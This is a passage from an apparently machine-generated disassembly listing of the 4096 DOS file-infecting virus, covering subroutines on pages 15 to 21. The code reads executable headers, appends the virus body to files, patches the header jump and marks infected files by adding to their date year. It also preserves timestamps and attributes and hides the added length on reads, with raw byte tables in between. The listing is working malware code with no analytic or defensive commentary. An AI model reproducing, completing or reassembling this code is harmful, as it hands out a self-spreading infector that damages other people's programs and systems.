  776. 72F2:0948  03 D0                add    dx,ax
  777. 72F2:094A  74 20                jz    loc_36            ; Jump if zero
  778. 72F2:094C  B1 E9                mov    cl,0E9h
  779. 72F2:094E  88 0E 1200                mov    ds:data_25e,cl        ; (72F2:1200=0)
  780. 72F2:0952  B8 0010                mov    ax,10h
  781. 72F2:0955  F7 E6                mul    si            ; dx:ax = reg * ax
  782. 72F2:0957  05 0265                add    ax,265h
  783. 72F2:095A  A3 1201                mov    word ptr ds:data_25e+1,ax    ; (72F2:1201=0)
  784. 72F2:095D  A1 1200                mov    ax,ds:data_25e        ; (72F2:1200=0)
  785. 72F2:0960  03 06 1202                add    ax,word ptr ds:data_25e+2    ; (72F2:1202=0)
  786. 72F2:0964  F7 D8                neg    ax
  787. 72F2:0966  A3 1204                mov    ds:data_28e,ax        ; (72F2:1204=0)
  788. 72F2:0969  E8 0067                call    sub_6            ; (09D3)
  789. 72F2:096C            loc_36:                        ;  xref 72F2:0908, 092A, 0930, 094A
  790. 72F2:096C  B4 3E                mov    ah,3Eh            ; '>'
  791. 72F2:096E  E8 0643                call    sub_24            ; (0FB4)
  792. 72F2:0971  E8 0518                call    sub_14            ; (0E8C)
  793. 72F2:0974  C3                    retn
  794.                 sub_4        endp
  795.   
  796.   
  797.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  798.                 ;                   SUBROUTINE
  799.                 ;
  800.                 ;         Called from:     72F2:08B6
  801.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  802.   
  803.                 sub_5        proc    near
  804. 72F2:0975  0E                    push    cs
  805. 72F2:0976  1F                    pop    ds
  806. 72F2:0977  B8 5700                mov    ax,5700h
  807. 72F2:097A  E8 0637                call    sub_24            ; (0FB4)
  808. 72F2:097D  89 0E 1229                mov    ds:data_39e,cx        ; (72F2:1229=0)
  809. 72F2:0981  89 16 122B                mov    ds:data_40e,dx        ; (72F2:122B=0)
  810. 72F2:0985  B8 4200                mov    ax,4200h
  811. 72F2:0988  33 C9                xor    cx,cx            ; Zero register
  812. 72F2:098A  8B D1                mov    dx,cx
  813. 72F2:098C  E8 0625                call    sub_24            ; (0FB4)
  814. 72F2:098F  B4 3F                mov    ah,3Fh            ; '?'
  815. 72F2:0991  B1 1C                mov    cl,1Ch
  816. 72F2:0993  BA 1200                mov    dx,1200h
  817. 72F2:0996  E8 061B                call    sub_24            ; (0FB4)
  818. 72F2:0999  B8 4200                mov    ax,4200h
  819. 72F2:099C  33 C9                xor    cx,cx            ; Zero register
  820. 72F2:099E  8B D1                mov    dx,cx
  821. 72F2:09A0  E8 0611                call    sub_24            ; (0FB4)
  822. 72F2:09A3  B4 3F                mov    ah,3Fh            ; '?'
  823. 72F2:09A5  B1 1C                mov    cl,1Ch
  824. 72F2:09A7  BA 0004                mov    dx,4
  825. 72F2:09AA  E8 0607                call    sub_24            ; (0FB4)
  826. 72F2:09AD  B8 4202                mov    ax,4202h
  827.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 15
  828.  
  829. 72F2:09B0  33 C9                xor    cx,cx            ; Zero register
  830. 72F2:09B2  8B D1                mov    dx,cx
  831. 72F2:09B4  E8 05FD                call    sub_24            ; (0FB4)
  832. 72F2:09B7  A3 12A9                mov    ds:data_59e,ax        ; (72F2:12A9=0)
  833. 72F2:09BA  89 16 12AB                mov    ds:data_60e,dx        ; (72F2:12AB=0)
  834. 72F2:09BE  8B F8                mov    di,ax
  835. 72F2:09C0  05 000F                add    ax,0Fh
  836. 72F2:09C3  83 D2 00                adc    dx,0
  837. 72F2:09C6  25 FFF0                and    ax,0FFF0h
  838. 72F2:09C9  2B F8                sub    di,ax
  839. 72F2:09CB  B9 0010                mov    cx,10h
  840. 72F2:09CE  F7 F1                div    cx            ; ax,dx rem=dx:ax/reg
  841. 72F2:09D0  8B F0                mov    si,ax
  842. 72F2:09D2  C3                    retn
  843.                 sub_5        endp
  844.   
  845.   
  846.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  847.                 ;                   SUBROUTINE
  848.                 ;
  849.                 ;         Called from:     72F2:0927, 0969
  850.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  851.   
  852.                 sub_6        proc    near
  853. 72F2:09D3  B8 4200                mov    ax,4200h
  854. 72F2:09D6  33 C9                xor    cx,cx            ; Zero register
  855. 72F2:09D8  8B D1                mov    dx,cx
  856. 72F2:09DA  E8 05D7                call    sub_24            ; (0FB4)
  857. 72F2:09DD  B4 40                mov    ah,40h            ; '@'
  858. 72F2:09DF  B1 1C                mov    cl,1Ch
  859. 72F2:09E1  BA 1200                mov    dx,1200h
  860. 72F2:09E4  E8 05CD                call    sub_24            ; (0FB4)
  861. 72F2:09E7  B8 0010                mov    ax,10h
  862. 72F2:09EA  F7 E6                mul    si            ; dx:ax = reg * ax
  863. 72F2:09EC  8B CA                mov    cx,dx
  864. 72F2:09EE  8B D0                mov    dx,ax
  865. 72F2:09F0  B8 4200                mov    ax,4200h
  866. 72F2:09F3  E8 05BE                call    sub_24            ; (0FB4)
  867. 72F2:09F6  33 D2                xor    dx,dx            ; Zero register
  868. 72F2:09F8  B9 1000                mov    cx,1000h
  869. 72F2:09FB  03 CF                add    cx,di
  870. 72F2:09FD  B4 40                mov    ah,40h            ; '@'
  871. 72F2:09FF  E8 05B2                call    sub_24            ; (0FB4)
  872. 72F2:0A02  B8 5701                mov    ax,5701h
  873. 72F2:0A05  8B 0E 1229                mov    cx,ds:data_39e        ; (72F2:1229=0)
  874. 72F2:0A09  8B 16 122B                mov    dx,ds:data_40e        ; (72F2:122B=0)
  875. 72F2:0A0D  F6 C6 80                test    dh,80h
  876. 72F2:0A10  75 03                jnz    loc_37            ; Jump if not zero
  877. 72F2:0A12  80 C6 C8                add    dh,0C8h
  878. 72F2:0A15            loc_37:                        ;  xref 72F2:0A10
  879. 72F2:0A15  E8 059C                call    sub_24            ; (0FB4)
  880. 72F2:0A18  80 3E 12EE 03            cmp    byte ptr ds:data_75e,3    ; (72F2:12EE=0)
  881. 72F2:0A1D  72 19                jb    loc_ret_38        ; Jump if below
  882. 72F2:0A1F  80 3E 12EF 00            cmp    byte ptr ds:data_76e,0    ; (72F2:12EF=0)
  883. 72F2:0A24  74 12                je    loc_ret_38        ; Jump if equal
  884. 72F2:0A26  53                    push    bx
  885. 72F2:0A27  8A 16 1228                mov    dl,ds:data_38e        ; (72F2:1228=0)
  886.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 16
  887.  
  888. 72F2:0A2B  B4 32                mov    ah,32h            ; '2'
  889. 72F2:0A2D  E8 0584                call    sub_24            ; (0FB4)
  890. 72F2:0A30  2E:A1 12EC                mov    ax,cs:data_74e        ; (72F2:12EC=0)
  891. 72F2:0A34  89 47 1E                mov    [bx+1Eh],ax
  892. 72F2:0A37  5B                    pop    bx
  893.   
  894. 72F2:0A38            loc_ret_38:                    ;  xref 72F2:0A1D, 0A24
  895. 72F2:0A38  C3                    retn
  896.                 sub_6        endp
  897.   
  898.   
  899.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  900.                 ;                   SUBROUTINE
  901.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  902.   
  903.                 sub_7        proc    near
  904. 72F2:0A39  E8 04D3                call    sub_21            ; (0F0F)
  905. 72F2:0A3C  8B FA                mov    di,dx
  906. 72F2:0A3E  83 C7 0D                add    di,0Dh
  907. 72F2:0A41  1E                    push    ds
  908. 72F2:0A42  07                    pop    es
  909. 72F2:0A43  EB 20                jmp    short loc_40        ; (0A65)
  910.   
  911.                 ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  912.                 ;
  913.                 ;         Called from:     72F2:0634, 078C
  914.   
  915.                 sub_8:
  916. 72F2:0A45  E8 04C7                call    sub_21            ; (0F0F)
  917. 72F2:0A48  1E                    push    ds
  918. 72F2:0A49  07                    pop    es
  919. 72F2:0A4A  8B FA                mov    di,dx
  920. 72F2:0A4C  B9 0050                mov    cx,50h
  921. 72F2:0A4F  33 C0                xor    ax,ax            ; Zero register
  922. 72F2:0A51  B3 00                mov    bl,0
  923. 72F2:0A53  80 7D 01 3A                cmp    byte ptr [di+1],3Ah    ; ':'
  924. 72F2:0A57  75 05                jne    loc_39            ; Jump if not equal
  925. 72F2:0A59  8A 1D                mov    bl,[di]
  926. 72F2:0A5B  80 E3 1F                and    bl,1Fh
  927. 72F2:0A5E            loc_39:                        ;  xref 72F2:0A57
  928. 72F2:0A5E  2E:88 1E 1228            mov    cs:data_38e,bl        ; (72F2:1228=0)
  929. 72F2:0A63  F2/AE                repne    scasb            ; Rept zf=0+cx>0 Scan es:[di] for al
  930. 72F2:0A65            loc_40:                        ;  xref 72F2:0A43
  931. 72F2:0A65  8B 45 FD                mov    ax,[di-3]
  932. 72F2:0A68  25 DFDF                and    ax,0DFDFh
  933. 72F2:0A6B  02 E0                add    ah,al
  934. 72F2:0A6D  8A 45 FC                mov    al,[di-4]
  935. 72F2:0A70  24 DF                and    al,0DFh
  936. 72F2:0A72  02 C4                add    al,ah
  937. 72F2:0A74  2E:C6 06 0020 00            mov    byte ptr cs:data_21e,0    ; (72F2:0020=0)
  938. 72F2:0A7A  3C DF                cmp    al,0DFh
  939. 72F2:0A7C  74 09                je    loc_41            ; Jump if equal
  940. 72F2:0A7E  2E:FE 06 0020            inc    byte ptr cs:data_21e    ; (72F2:0020=0)
  941. 72F2:0A83  3C E2                cmp    al,0E2h
  942. 72F2:0A85  75 05                jne    loc_42            ; Jump if not equal
  943. 72F2:0A87            loc_41:                        ;  xref 72F2:0A7C
  944. 72F2:0A87  E8 047C                call    sub_20            ; (0F06)
  945.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 17
  946.  
  947. 72F2:0A8A  F8                    clc                ; Clear carry flag
  948. 72F2:0A8B  C3                    retn
  949. 72F2:0A8C            loc_42:                        ;  xref 72F2:0A85
  950. 72F2:0A8C  E8 0477                call    sub_20            ; (0F06)
  951. 72F2:0A8F  F9                    stc                ; Set carry flag
  952. 72F2:0A90  C3                    retn
  953.                 sub_7        endp
  954.   
  955.   
  956.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  957.                 ;                   SUBROUTINE
  958.                 ;
  959.                 ;         Called from:     72F2:0631, 0720, 085D, 0885
  960.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  961.   
  962.                 sub_9        proc    near
  963. 72F2:0A91  53                    push    bx
  964. 72F2:0A92  B4 51                mov    ah,51h            ; 'Q'
  965. 72F2:0A94  E8 051D                call    sub_24            ; (0FB4)
  966. 72F2:0A97  2E:89 1E 12A3            mov    cs:data_56e,bx        ; (72F2:12A3=0)
  967. 72F2:0A9C  5B                    pop    bx
  968. 72F2:0A9D  C3                    retn
  969.                 sub_9        endp
  970.   
  971.   
  972.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  973.                 ;                   SUBROUTINE
  974.                 ;
  975.                 ;         Called from:     72F2:0641, 078F
  976.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  977.   
  978.                 sub_10        proc    near
  979. 72F2:0A9E  E8 0345                call    sub_13            ; (0DE6)
  980. 72F2:0AA1  52                    push    dx
  981. 72F2:0AA2  2E:8A 16 1228            mov    dl,cs:data_38e        ; (72F2:1228=0)
  982. 72F2:0AA7  B4 36                mov    ah,36h            ; '6'
  983. 72F2:0AA9  E8 0508                call    sub_24            ; (0FB4)
  984. 72F2:0AAC  F7 E1                mul    cx            ; dx:ax = reg * ax
  985. 72F2:0AAE  F7 E3                mul    bx            ; dx:ax = reg * ax
  986. 72F2:0AB0  8B DA                mov    bx,dx
  987. 72F2:0AB2  5A                    pop    dx
  988. 72F2:0AB3  0B DB                or    bx,bx            ; Zero ?
  989. 72F2:0AB5  75 05                jnz    loc_43            ; Jump if not zero
  990. 72F2:0AB7  3D 4000                cmp    ax,4000h
  991. 72F2:0ABA  72 43                jb    loc_44            ; Jump if below
  992. 72F2:0ABC            loc_43:                        ;  xref 72F2:0AB5
  993. 72F2:0ABC  B8 4300                mov    ax,4300h
  994. 72F2:0ABF  E8 04F2                call    sub_24            ; (0FB4)
  995. 72F2:0AC2  72 3B                jc    loc_44            ; Jump if carry Set
  996. 72F2:0AC4  8B F9                mov    di,cx
  997. 72F2:0AC6  33 C9                xor    cx,cx            ; Zero register
  998. 72F2:0AC8  B8 4301                mov    ax,4301h
  999. 72F2:0ACB  E8 04E6                call    sub_24            ; (0FB4)
  1000. 72F2:0ACE  2E:80 3E 12DA 00            cmp    byte ptr cs:data_65e,0    ; (72F2:12DA=0)
  1001. 72F2:0AD4  75 29                jne    loc_44            ; Jump if not equal
  1002. 72F2:0AD6  B8 3D02                mov    ax,3D02h
  1003. 72F2:0AD9  E8 04D8                call    sub_24            ; (0FB4)
  1004.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 18
  1005.  
  1006. 72F2:0ADC  72 21                jc    loc_44            ; Jump if carry Set
  1007. 72F2:0ADE  8B D8                mov    bx,ax
  1008. 72F2:0AE0  8B CF                mov    cx,di
  1009. 72F2:0AE2  B8 4301                mov    ax,4301h
  1010. 72F2:0AE5  E8 04CC                call    sub_24            ; (0FB4)
  1011. 72F2:0AE8  53                    push    bx
  1012. 72F2:0AE9  2E:8A 16 1228            mov    dl,cs:data_38e        ; (72F2:1228=0)
  1013. 72F2:0AEE  B4 32                mov    ah,32h            ; '2'
  1014. 72F2:0AF0  E8 04C1                call    sub_24            ; (0FB4)
  1015. 72F2:0AF3  8B 47 1E                mov    ax,[bx+1Eh]
  1016. 72F2:0AF6  2E:A3 12EC                mov    cs:data_74e,ax        ; (72F2:12EC=0)
  1017. 72F2:0AFA  5B                    pop    bx
  1018. 72F2:0AFB  E8 038E                call    sub_14            ; (0E8C)
  1019. 72F2:0AFE  C3                    retn
  1020. 72F2:0AFF            loc_44:                        ;  xref 72F2:0ABA, 0AC2, 0AD4, 0ADC
  1021. 72F2:0AFF  33 DB                xor    bx,bx            ; Zero register
  1022. 72F2:0B01  4B                    dec    bx
  1023. 72F2:0B02  E8 0387                call    sub_14            ; (0E8C)
  1024. 72F2:0B05  C3                    retn
  1025.                 sub_10        endp
  1026.   
  1027.   
  1028.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1029.                 ;                   SUBROUTINE
  1030.                 ;
  1031.                 ;         Called from:     72F2:0B99
  1032.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1033.   
  1034.                 sub_11        proc    near
  1035. 72F2:0B06  51                    push    cx
  1036. 72F2:0B07  52                    push    dx
  1037. 72F2:0B08  50                    push    ax
  1038. 72F2:0B09  B8 4400                mov    ax,4400h
  1039. 72F2:0B0C  E8 04A5                call    sub_24            ; (0FB4)
  1040. 72F2:0B0F  80 F2 80                xor    dl,80h
  1041. 72F2:0B12  F6 C2 80                test    dl,80h
  1042. 72F2:0B15  74 09                jz    loc_45            ; Jump if zero
  1043. 72F2:0B17  B8 5700                mov    ax,5700h
  1044. 72F2:0B1A  E8 0497                call    sub_24            ; (0FB4)
  1045. 72F2:0B1D  F6 C6 80                test    dh,80h
  1046. 72F2:0B20            loc_45:                        ;  xref 72F2:0B15
  1047. 72F2:0B20  58                    pop    ax
  1048. 72F2:0B21  5A                    pop    dx
  1049. 72F2:0B22  59                    pop    cx
  1050. 72F2:0B23  C3                    retn
  1051.                 sub_11        endp
  1052.   
  1053.   
  1054.                 ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1055.                 ;                   SUBROUTINE
  1056.                 ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1057.   
  1058.                 sub_12        proc    near
  1059. 72F2:0B24  E8 03E8                call    sub_21            ; (0F0F)
  1060. 72F2:0B27  B8 4201                mov    ax,4201h
  1061. 72F2:0B2A  33 C9                xor    cx,cx            ; Zero register
  1062. 72F2:0B2C  33 D2                xor    dx,dx            ; Zero register
  1063.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 19
  1064.  
  1065. 72F2:0B2E  E8 0483                call    sub_24            ; (0FB4)
  1066. 72F2:0B31  2E:A3 12A5                mov    cs:data_57e,ax        ; (72F2:12A5=0)
  1067. 72F2:0B35  2E:89 16 12A7            mov    cs:data_58e,dx        ; (72F2:12A7=0)
  1068. 72F2:0B3A  B8 4202                mov    ax,4202h
  1069. 72F2:0B3D  33 C9                xor    cx,cx            ; Zero register
  1070. 72F2:0B3F  33 D2                xor    dx,dx            ; Zero register
  1071. 72F2:0B41  E8 0470                call    sub_24            ; (0FB4)
  1072. 72F2:0B44  2E:A3 12A9                mov    cs:data_59e,ax        ; (72F2:12A9=0)
  1073. 72F2:0B48  2E:89 16 12AB            mov    cs:data_60e,dx        ; (72F2:12AB=0)
  1074. 72F2:0B4D  B8 4200                mov    ax,4200h
  1075. 72F2:0B50  2E:8B 16 12A5            mov    dx,cs:data_57e        ; (72F2:12A5=0)
  1076. 72F2:0B55  2E:8B 0E 12A7            mov    cx,cs:data_58e        ; (72F2:12A7=0)
  1077. 72F2:0B5A  E8 0457                call    sub_24            ; (0FB4)
  1078. 72F2:0B5D  E8 03A6                call    sub_20            ; (0F06)
  1079. 72F2:0B60  C3                    retn
  1080.                 sub_12        endp
  1081.   
  1082. 72F2:0B61  0A C0 75 22 2E 83            db    0Ah, 0C0h, 75h, 22h, 2Eh, 83h
  1083. 72F2:0B67  26 B3 12 FE E8 85            db    26h, 0B3h, 12h, 0FEh, 0E8h, 85h
  1084. 72F2:0B6D  03 E8 43 04 72 0B            db    3, 0E8h, 43h, 4, 72h, 0Bh
  1085. 72F2:0B73  F6 C6 80 74 03 80            db    0F6h, 0C6h, 80h, 74h, 3, 80h
  1086. 72F2:0B79  EE C8 E9 E1 F8 2E            db    0EEh, 0C8h, 0E9h, 0E1h, 0F8h, 2Eh
  1087. 72F2:0B7F  83 0E B3 12 01 E9            db    83h, 0Eh, 0B3h, 12h, 1, 0E9h
  1088. 72F2:0B85  D8 F8 3C 01 75 37            db    0D8h, 0F8h, 3Ch, 1, 75h, 37h
  1089. 72F2:0B8B  2E 83 26 B3 12 FE            db    2Eh, 83h, 26h, 0B3h, 12h, 0FEh
  1090. 72F2:0B91  F6 C6 80 74 03 80            db    0F6h, 0C6h, 80h, 74h, 3, 80h
  1091. 72F2:0B97  EE C8                db    0EEh, 0C8h
  1092. 72F2:0B99            loc_46:
  1093. 72F2:0B99  E8 FF6A                call    sub_11            ; (0B06)
  1094. 72F2:0B9C  74 03                jz    loc_47            ; Jump if zero
  1095. 72F2:0B9E  80 C6 C8                add    dh,0C8h
  1096. 72F2:0BA1            loc_47:                        ;  xref 72F2:0B9C
  1097. 72F2:0BA1  E8 0410                call    sub_24            ; (0FB4)
  1098. 72F2:0BA4  89 46 FC                mov    [bp-4],ax
  1099. 72F2:0BA7  2E:83 16 12B3 00            adc    word ptr cs:data_64e,0    ; (72F2:12B3=0)
  1100. 72F2:0BAD  E9 F906                jmp    loc_12            ; (04B6)
  1101. 72F2:0BB0  3C 02 75 0E E8 4F            db    3Ch, 2, 75h, 0Eh, 0E8h, 4Fh
  1102. 72F2:0BB6  FF 74 09 81 6E F6            db    0FFh, 74h, 9, 81h, 6Eh, 0F6h
  1103. 72F2:0BBC  00 10 83 5E F8 00            db    0, 10h, 83h, 5Eh, 0F8h, 0
  1104. 72F2:0BC2            loc_48:
  1105. 72F2:0BC2  E9 F86A                jmp    loc_10            ; (042F)
  1106. 72F2:0BC5  2E 80 26 B3 12 FE            db    2Eh, 80h, 26h, 0B3h, 12h, 0FEh
  1107. 72F2:0BCB  E8 38 FF 74 F2 2E            db    0E8h, 38h, 0FFh, 74h, 0F2h, 2Eh
  1108. 72F2:0BD1  89 0E AF 12 2E 89            db    89h, 0Eh, 0AFh, 12h, 2Eh, 89h
  1109. 72F2:0BD7  16 AD 12 2E C7 06            db    16h, 0ADh, 12h, 2Eh, 0C7h, 6
  1110. 72F2:0BDD  B1 12 00 00 E8 40            db    0B1h, 12h, 0, 0, 0E8h, 40h
  1111. 72F2:0BE3  FF 2E A1 A9 12 2E            db    0FFh, 2Eh, 0A1h, 0A9h, 12h, 2Eh
  1112. 72F2:0BE9  8B 16 AB 12 2D 00            db    8Bh, 16h, 0ABh, 12h, 2Dh, 0
  1113. 72F2:0BEF  10 83 DA 00 2E 2B            db    10h, 83h, 0DAh, 0, 2Eh, 2Bh
  1114. 72F2:0BF5  06 A5 12 2E 1B 16            db    6, 0A5h, 12h, 2Eh, 1Bh, 16h
  1115. 72F2:0BFB  A7 12 79 08 C7 46            db    0A7h, 12h, 79h, 8, 0C7h, 46h
  1116. 72F2:0C01  FC 00 00 E9 62 FA            db    0FCh, 0, 0, 0E9h, 62h, 0FAh
  1117. 72F2:0C07  75 08 3B C1 77 04            db    75h, 8, 3Bh, 0C1h, 77h, 4
  1118. 72F2:0C0D  2E A3 AF 12                db    2Eh, 0A3h, 0AFh, 12h
  1119. 72F2:0C11            loc_49:
  1120. 72F2:0C11  2E:8B 16 12A5            mov    dx,cs:data_57e        ; (72F2:12A5=0)
  1121. 72F2:0C16  2E:8B 0E 12A7            mov    cx,cs:data_58e        ; (72F2:12A7=0)
  1122.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 20
  1123.  
  1124. 72F2:0C1B  0B C9                or    cx,cx            ; Zero ?
  1125. 72F2:0C1D  75 05                jnz    loc_50            ; Jump if not zero
  1126. 72F2:0C1F  83 FA 1C                cmp    dx,1Ch
  1127. 72F2:0C22  76 1A                jbe    loc_51            ; Jump if below or =
  1128. 72F2:0C24            loc_50:                        ;  xref 72F2:0C1D, 0CA7
  1129. 72F2:0C24  2E:8B 16 12AD            mov    dx,cs:data_61e        ; (72F2:12AD=0)
  1130. 72F2:0C29  2E:8B 0E 12AF            mov    cx,cs:data_62e        ; (72F2:12AF=0)
  1131. 72F2:0C2E  B4 3F                mov    ah,3Fh            ; '?'
  1132. 72F2:0C30  E8 0381                call    sub_24            ; (0FB4)
  1133. 72F2:0C33  2E:03 06 12B1            add    ax,cs:data_63e        ; (72F2:12B1=0)
  1134. 72F2:0C38  89 46 FC                mov    [bp-4],ax
  1135. 72F2:0C3B  E9 F878                jmp    loc_12            ; (04B6)
  1136. 72F2:0C3E            loc_51:                        ;  xref 72F2:0C22
  1137. 72F2:0C3E  8B F2                mov    si,dx
  1138. 72F2:0C40  8B FA                mov    di,dx
  1139. 72F2:0C42  2E:03 3E 12AF            add    di,cs:data_62e        ; (72F2:12AF=0)
  1140. 72F2:0C47  83 FF 1C                cmp    di,1Ch
  1141. 72F2:0C4A  72 04                jb    loc_52            ; Jump if below
  1142. 72F2:0C4C  33 FF                xor    di,di            ; Zero register
  1143. 72F2:0C4E  EB 05                jmp    short loc_53        ; (0C55)
  1144. 72F2:0C50            loc_52:                        ;  xref 72F2:0C4A
  1145. 72F2:0C50  83 EF 1C                sub    di,1Ch
  1146. 72F2:0C53  F7 DF                neg    di
  1147. 72F2:0C55            loc_53:                        ;  xref 72F2:0C4E
  1148. 72F2:0C55  8B C2                mov    ax,dx
  1149. 72F2:0C57  2E:8B 0E 12AB            mov    cx,cs:data_60e        ; (72F2:12AB=0)
  1150. 72F2:0C5C  2E:8B 16 12A9            mov    dx,cs:data_59e        ; (72F2:12A9=0)
  1151. 72F2:0C61  83 C2 0F                add    dx,0Fh
  1152. 72F2:0C64  83 D1 00                adc    cx,0
  1153. 72F2:0C67  83 E2 F0                and    dx,0FFF0h
  1154. 72F2:0C6A  81 EA 0FFC                sub    dx,0FFCh
  1155. 72F2:0C6E  83 D9 00                sbb    cx,0
  1156. 72F2:0C71  03 D0                add    dx,ax
  1157. 72F2:0C73  83 D1 00                adc    cx,0
  1158. 72F2:0C76  B8 4200                mov    ax,4200h
  1159. 72F2:0C79  E8 0338                call    sub_24            ; (0FB4)
  1160. 72F2:0C7C  B9 001C                mov    cx,1Ch
  1161. 72F2:0C7F  2B CF                sub    cx,di
  1162. 72F2:0C81  2B CE                sub    cx,si
  1163. 72F2:0C83  B4 3F                mov    ah,3Fh            ; '?'
  1164. 72F2:0C85  2E:8B 16 12AD            mov    dx,cs:data_61e        ; (72F2:12AD=0)
  1165. 72F2:0C8A  E8 0327                call    sub_24            ; (0FB4)
  1166. 72F2:0C8D  2E:01 06 12AD            add    cs:data_61e,ax        ; (72F2:12AD=0)
  1167. 72F2:0C92  2E:29 06 12AF            sub    cs:data_62e,ax        ; (72F2:12AF=0)
  1168. 72F2:0C97  2E:01 06 12B1            add    cs:data_63e,ax        ; (72F2:12B1=0)
  1169. 72F2:0C9C  33 C9                xor    cx,cx            ; Zero register
  1170. 72F2:0C9E  BA 001C                mov    dx,1Ch
  1171. 72F2:0CA1  B8 4200                mov    ax,4200h
  1172. 72F2:0CA4  E8 030D                call    sub_24            ; (0FB4)
  1173. 72F2:0CA7  E9 FF7A                jmp    loc_50            ; (0C24)
  1174. 72F2:0CAA  2E 80 26 B3 12 FE            db    2Eh, 80h, 26h, 0B3h, 12h, 0FEh
  1175. 72F2:0CB0  E8 53 FE 75 03 E9            db    0E8h, 53h, 0FEh, 75h, 3, 0E9h
  1176. 72F2:0CB6  0A FF 2E 89 0E AF            db    0Ah, 0FFh, 2Eh, 89h, 0Eh, 0AFh
  1177. 72F2:0CBC  12 2E 89 16 AD 12            db    12h, 2Eh, 89h, 16h, 0ADh, 12h
  1178. 72F2:0CC2  2E C7 06 B1 12 00            db    2Eh, 0C7h, 6, 0B1h, 12h, 0
  1179. 72F2:0CC8  00 E8 58 FE 2E A1            db    0, 0E8h, 58h, 0FEh, 2Eh, 0A1h
  1180. 72F2:0CCE  A9 12 2E 8B 16 AB            db    0A9h, 12h, 2Eh, 8Bh, 16h, 0ABh
  1181.      4096.lst         Hello, world!$             Sourcer Listing v1.88    14-Sep-90   6:58 pm   Page 21
  1182.  
  1183. 72F2:0CD4  12 2D 00 10 83 DA            db    12h, 2Dh, 0, 10h, 83h, 0DAh
  1184. 72F2:0CDA  00 2E 2B 06 A5 12            db    0, 2Eh, 2Bh, 6, 0A5h, 12h
